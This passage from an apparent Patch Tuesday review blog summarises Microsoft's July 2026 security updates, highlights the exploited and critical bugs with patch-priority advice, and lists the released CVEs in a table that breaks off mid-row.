required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft 